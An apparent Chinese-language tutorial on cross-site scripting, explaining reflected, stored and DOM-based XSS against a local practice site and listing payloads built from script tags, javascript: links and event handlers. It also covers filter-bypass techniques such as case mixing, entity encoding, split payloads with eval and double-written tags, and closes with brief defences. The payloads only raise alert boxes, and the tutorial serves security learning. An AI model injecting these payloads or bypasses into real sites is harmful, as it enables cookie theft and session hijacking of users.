目录
一. XSS原理
XSS 被称为跨站脚本攻击(Cross-site scripting),本来应该缩写为CSS,但是由于和CSS(Cascading Style Sheets,层叠样式脚本)重名,所以更名为XSS。XSS主要基于js完成恶意的攻击行为,js可以非常灵活的操作html、css和浏览器.
XSS 通过将构造的代码(JS)注入到网页中,并由浏览器解释运行这段JS 代码,以达到恶意攻击的效果。当用户访问被XSS 脚本注入的网页,XSS脚本就会被提取出来。用户浏览器就会解析这段XSS 代码,也就是说用户被攻击了。用户最简单的动作就是使用浏览器上网,并且浏览器中有javascript 解释器,可以解析javascript,然而浏览器不会判断代码是否恶意。也就是说,XSS 的对象是用户和浏览器。
二. XSS危害
- 盗取各种用户账号
- 窃取用户Cookie资料,冒充用户身份进入网站
- 劫持用户会话,执行任意操作
- 刷流量,执行弹窗广告
- 传播蠕虫病毒
三. XSS测试环境下载
通过这个练习环境我们来理解XSS ,下载地址 ,xss_test ,下载后放在网站根目录就可以进行访问
四. XSS分类
1. 反射型XSS
反射型XSS 是非持久性、参数型的跨站脚本。反射型XSS 的JS 代码在Web 应用的参数(变量)中,如搜索框的反射型XSS。对于我们输入的内容会原样输出到网页中来,我们就可以怀疑是否存在反射型xss。
如在搜索框中,我们随表提交数字2323,截取数据包,发现是向xss.php提交了数据2323,且提交的数据2323原样输出到网页中来了,继续查看xss.php的源代码。
xss.php的源代码中我们发现确实是将我们提交的语句原样输出到网页中来了,其中用的是PhP的语言,那我们想,输入竟然没经过过滤原样的输出到网页中来了,那我们就可以提交JS代码了,
提交一串弹窗的JS代码了,如下 <script>alert(/xss/)</script>。程序碰到js代码自动执行弹窗的操作,导致了反射型XSS的发生
这就是反射型XSS!!
2. 存储型XSS
存储型XSS 是持久性跨站脚本。持久性体现在XSS 代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。储型XSS 通常发生在留言板等地方,在留言板位置留言,将恶意代码写进数据库中。
如留言板中存在存储型xss,我们将js代码注入,此时,我们只完成了第一步,将恶意代码写入数据库。因为XSS 使用的JS 代码,JS 代码的运行环境是浏览器,所以需要浏览器从服务器载入恶意的XSS 代码,才能真正触发XSS(运行代码)。此时,需要我们模拟网站后台管理员的身份,查看留言。
3. DOM 型XSS
dom 即文档对象模型,攻击的payload修改受害者浏览器页面的DOM 树。其特殊的地方就是payload 在浏览器本地修改DOM 树而执行, 并不会传到服务器上,这也就使得DOM XSS 比较难以检测。
进入到DOM型XSS
意思就是截取"message="后面的字符输出到网页中来
提交数据?message=2021,浏览器输出了我们提交的数据
此时查看源代码,源代码并没有发生改变,接着查看元素,有我们提交的数据,验证了上面说的dom型XSS攻击的是受害者浏览器页面的DOM 树。
同样的可以提交js代码
五. xss的构造
1. 利用 <> 构造HTML/JS
构造js标签
<script>alert(/xss/)</script>
2. 伪协议
javascript: js代码 伪协议的方式构造XSS
可以把伪协议放在html的超链接中
<a href="javascript:alert(/xss/)">touch me!</a> #点击超链接,即可触发XSS。
3. 产生自己的事件(html事件)
"事件驱动"是一种比较经典的编程思想。在网页中会发生很多事件(比如鼠标移动,键盘输入等),JS 可以对这些事件进行响应。所以我们可以通过事件触发JS 函数,触发XSS。
单击事件
<input type="button" onclick ="alert(/xss/)" value="点我! ">
双击事件
<input type="button" ondblclick="alert(/xss/)" value="双击666">
悬停
<img src='./smile.jpg' onmouseover='alert(/xss/)'>
图片载入失败弹窗
<img src='#' onerror="alert(/xss/)">
按下键盘触发
<input type="text" onkeydown="alert(/xss/)">
4. 其他标签以及手法
我们也可以用其他标签触发XSS。
点击提交就弹窗
<svg onload="alert(/xss/)"> #svg是html5中新出的标签,也是一个事件
焦点 自动聚焦
<input onfocus=alert(/xss/) autofocus> #鼠标自动聚焦到这个标签然后进行弹窗
六. XSS变形(面试必问)
有些网页对XSS进行了过滤,但是我们可以通过对XSS的变形,来绕过过滤器的检测。
1. 大小写转换
将payload 进行大小写转化。如下面两个例子。
<Img sRc='#' Onerror="alert(/xss/)"/>
#alert是js语,所以只能转换img和src
<A hREf="javaScript:alert(/xss/)">click me</A>
我们可以将这两个语句进行提交测试
2. 引号的使用
HTML 语言中对引号的使用不敏感,对于html可以使用双引号、单引号,或者不使用引号
<img src="#" onerror="alert(/xss/)"/>
<img src='#' onerror='alert(/xss/)'/>
<img src=# onerror=alert(/xss/) />
3. / 代替空格
可以利用左斜线代替空格
<Img/sRc='#'/Onerror='alert(/xss/)' /> #alert(/xss/)使用斜线是为了尽量避免单引号的使用
<Img/sRc='#'/Onerror=alert('xss') />
<Img/sRc='#'/Onerror='alert(/AJEST/)' />
4. 回车
可以在一些位置添加Tab(水平制表符)和回车符,来绕过关键字检测。
<A hREf="j
avas
c
r
i
p
t:alert(/xss/)">click me!</a>
5. 对标签属性值进行转码
对标签属性值进行转码,用来绕过过滤。对应编码如下
字母 ASCII码 十进制编码 十六进制编码
a 97 a a 分号代表编码的结束
e 101 e e
- ASCII编码参考 https://www.sojson.com/asciitable.html
- 十六进制编码 https://www.convertstring.com/zh_CN/EncodeDecode/HexEncode
- url编码 https://www.w3school.com.cn/tags/html_ref_urlencode.html
如,对 <A hREf="javaScript:alert(/xss/)">click me</A> 的标签属性值进行编码,将其中a进行十进制编码a 和十六进制编码a 如下
<A hREf="javaScript:alert(/xss/)">click me</A>
点击,同样弹窗
另外,我们还可以在代码中插入控制字符如回车符,换行符,水平制表符
ASCII中的控制字符含义可以参考 https://blog.csdn.net/sxdtzhp/article/details/50993571
Tab 	
换行
回车
SOH  (ASCI中的控制字符。SOH是序始字符(Start Of Header),它表示标题的开始,可有可无,没有任何作用,只是数据流的开始)
STX  #正文开始
经过编码后的样子
<A hREf="j avas	c r ipt:alert(/xss/)">click me!</a>
6.拆分跨站
核心思想就是把一个比较长的JS 语句,通过拆分跨站的方式缩短。然后分别进行提交。如将<script>alert(/xss/)</script>进行差分跨站
HTML~~~~~~~~~~~~`
<script>z='alert'</script> #第一次提交
HTML~~~~~~~~~~~~`
<script>z=z+'(/xss/)'</script> #第二次提交
HTML~~~~~~~~~~~~`
<script>eval(z)</script> #第三次提交
留言的时候可以分三次留,当这三条留言同时加载在同一个页面的时候触发XSS攻击。
7.双写绕过单次过滤
如果对某字符做了一次过滤,则可以使用双写绕过。如程序把<script>关键字给过滤了,则我们可以构造 <sc<script>ript>,来绕过单次过滤。
七. XSS防御
1)前端,服务端,对字符串输入的长度限制。
2)前端,服务端,对HTML转义处理。将其中的”<”,”>”等特殊字符进行转义编码。用对应的HTML 实体代替字符
防 XSS 的核心是必须对输入的数据做过滤处理
3)黑白名单策略,不管是采用输入过滤还是输出编码,都是针对数据信息进行黑|白名单式的过滤。
八. XSS过关挑战之xss-challenge
过关挑战实战,传送门 -》XSS过关挑战之xss-challenge
——心,若没有栖息的地方,到哪都是流浪